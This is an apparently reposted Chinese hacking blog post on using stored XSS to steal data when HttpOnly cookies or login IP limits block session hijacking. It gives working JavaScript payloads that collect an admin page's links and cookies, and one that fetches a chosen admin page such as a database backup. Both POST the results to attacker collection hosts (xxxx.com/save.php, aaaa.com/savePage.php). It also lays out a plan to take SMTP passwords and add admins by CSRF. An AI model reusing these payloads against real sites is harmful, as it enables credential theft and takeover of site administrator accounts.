1. 程式人生 > >XSS遇到後臺登入限制或者HTTPONLY時

XSS遇到後臺登入限制或者HTTPONLY時

0x01 前言
        XSS確實是個好東西,往往能在我們沒有頭緒的時候帶來一絲曙光,宛如拿站途中的一輪明月,又如飢餓時的一塊小曲奇(cookie)~
        然而,我們卻時常遇到形如限制登入,HTTPONLY等攔路虎,這時,很多機油可能覺得XSS就沒什麼用了。
如下:

 




 





0x02 XSS用途探索

其實即使如此,XSS還是能幫助我們得到不少資訊。甚至管理員的密碼!
如何獲取呢?方法有兩種:
1.獲取當前頁面的所有URL
2.獲取當前頁面的程式碼

這個用途,擼主最開始想到的是用來對付WEBSHELL箱子的。是的,我們知道,登入一個箱子後臺之後,基本上是拿不下shell的,我們要的主要是資料

例如,當時有這麼一個webshell站點,馬場主發現被人XSS之後,限制了ip登陸,即使得到了cookie也登不進去
 




 





這時候,我們就可以通過XSS獲取頁面的內容,直接得到所有webshell(當然要寫一個迴圈)。



0x03  XSS用途探索——獲取URL
        不能光說不練不是,我們使用如下的js程式碼即可獲取當前頁面的所有URL:
  1. a = document.getElementsByTagName("A");
  2. var b = "";
  3. for(i=0;i<a.length;i++)
  4. {
  5. b+=a[i].href;
  6. b+="</br>";
  7. }
  8. postDATA="cookie="+escape(document.cookie)+"&location="+escape(window.location.href)+"&top="+escape(top.location.href)+"&urls="+escape(b);
  9. url="http://xxxx.com/save.php";
  10. xmlHttp.open("POST", url, true);
  11. xmlHttp.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"); 
  12. xmlHttp.send(postDATA);
  13. }
  14. window.onload = function(){
  15. submitForm();
  16. }
複製程式碼 為什麼不用get?答:因為get有長度限制

例如,我們在某個後臺插入了自己的js:
 



等管理員看的時候,就得到了所有的url,我們可以在下圖看到,後臺往往有一些連結地址,都是各種管理的:
 




之後我們需要輾轉多次,來蒐集一些敏感的連結,例如資料庫備份,SMTP設定,管理員列表之類的
        
這些頁面的作用:
1.資料庫備份:沒準能看到資料庫或者備份的路徑
2.SMTP設定:管理員郵箱,密碼
3.管理員列表:有時候管理員密碼會顯示在此,即使不在,沒準可以CSRF新增一個管理員



0x04 XSS用途探索——獲取指定URL頁面程式碼
得到了敏感路徑之後呢,我們就可以利用如下的JS來獲取特定的頁面(當然,上一步在當前頁面蒐集不齊URL的時候,也可以使用這個JS到別的頁面蒐集)
關鍵程式碼如下:

  1. function submitForm() {
  2.         var xmlHttp = createXmlHttp();
  3.     var htmlcode = getHtmlCode('http://xxxx.com/admin/asked/admin_data.asp?action=BackupData');
  4.     var html = encode64(htmlcode);
  5.         postDATA = "msg="+html;
  6.         url="http://aaaa.com/savePage.php";
  7.         xmlHttp.open("POST", url, true);
  8.         xmlHttp.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"); 
  9.         xmlHttp.send(postDATA);
  10. }
  11. window.onload = function(){
  12.     submitForm();
  13. }
複製程式碼
為什麼要base64?答:現將網頁escape,然後再用base64傳送,即能解決傳送時候一些特殊編碼問題,又能解決中文亂碼問題

我們得到內容的將會如下圖:

 




然後我們先用base64解碼,再unescape:
JS程式碼如下:
  1. function decode64(input) {
  2.       var output = "";
  3.       var chr1, chr2, chr3 = "";
  4.       var enc1, enc2, enc3, enc4 = "";
  5.       var i = 0;
  6.       // remove all characters that are not A-Z, a-z, 0-9, +, /, or =
  7.       var base64test = /[^A-Za-z0-9\+\/\=]/g;
  8.       if (base64test.exec(input)) {
  9.          alert("There were invalid base64 characters in the input text.\n" +
  10.                "Valid base64 characters are A-Z, a-z, 0-9, '+', '/', and '='\n" +
  11.                "Expect errors in decoding.");
  12.       }
  13.       input = input.replace(/[^A-Za-z0-9\+\/\=]/g, "");
  14.       do {
  15.          enc1 = keyStr.indexOf(input.charAt(i++));
  16.          enc2 = keyStr.indexOf(input.charAt(i++));
  17.          enc3 = keyStr.indexOf(input.charAt(i++));
  18.          enc4 = keyStr.indexOf(input.charAt(i++));
  19.          chr1 = (enc1 << 2) | (enc2 >> 4);
  20.          chr2 = ((enc2 & 15) << 4) | (enc3 >> 2);
  21.          chr3 = ((enc3 & 3) << 6) | enc4;
  22.          output = output + String.fromCharCode(chr1);
  23.          if (enc3 != 64) {
  24.             output = output + String.fromCharCode(chr2);
  25.          }
  26.          if (enc4 != 64) {
  27.             output = output + String.fromCharCode(chr3);
  28.          }
  29.          chr1 = chr2 = chr3 = "";
  30.          enc1 = enc2 = enc3 = enc4 = "";
  31.       } while (i < input.length);
  32.       return unescape(output);
  33.    }
複製程式碼

 





最終能得到網頁原始碼,其中包含著敏感資訊:
 

同樣,我們也可以得到新增管理員的頁面的程式碼:

 


然後可以構造一個CSRF了

0x05 總結
        即使cookie不能用,也不要小看xss的威力,擼主標題註明了,這是一篇“研究”文,意在拋磚引玉,廣開大家思路,如有其他好思路可以給擼主留言,好機油一起討論~~
        

       另外,這寫個模組,擼主已經加到了自己用的XSS平臺裡~~效果圖來一張: